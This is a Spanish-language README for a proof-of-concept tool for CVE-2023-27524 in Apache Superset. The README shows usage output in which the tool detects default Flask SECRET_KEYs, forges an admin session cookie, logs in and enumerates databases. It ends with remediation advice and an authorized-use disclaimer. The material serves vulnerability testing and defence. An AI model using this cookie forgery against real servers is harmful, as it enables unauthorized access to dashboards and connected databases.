
PoC básico para CVE-2023-27524: Configuración predeterminada insegura en Apache Superset
Script para comprobar si un servidor Apache Superset se está ejecutando con una configuración predeterminada insegura (CVE-2023-27524). El script comprueba si las cookies de sesión de un servidor Superset están firmadas con alguna de las SECRET_KEY predeterminadas conocidas de Flask.
El indicador --validate se puede utilizar para validar la explotabilidad enumerando las bases de datos mediante la API de Superset.
Más detalles aquí: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset Artículo de seguimiento: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help show this help message and exit
--url URL, -u URL Base URL of Superset instance
--id ID User ID to forge session cookie for, default=1
--validate, -v Validate login
--timeout TIMEOUT, -t TIMEOUT
Time to wait before using forged session cookie, default=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
Si el script detecta una SECRET_KEY en uso pero no puede validar la explotabilidad, puede deberse a que:
--id para establecer un user_id específico si lo conoces)Sigue las instrucciones de aquí para generar y configurar una SECRET_KEY de Flask. La herramienta CLI superset se puede utilizar para rotar la SECRET_KEY de modo que se conserve la información de conexión a la base de datos existente.
Este software se ha creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas eficaces, y no está pensado para atacar sistemas salvo que se cuente con autorización explícita. Los mantenedores del proyecto no son responsables del uso indebido del software. Úsalo de forma responsable.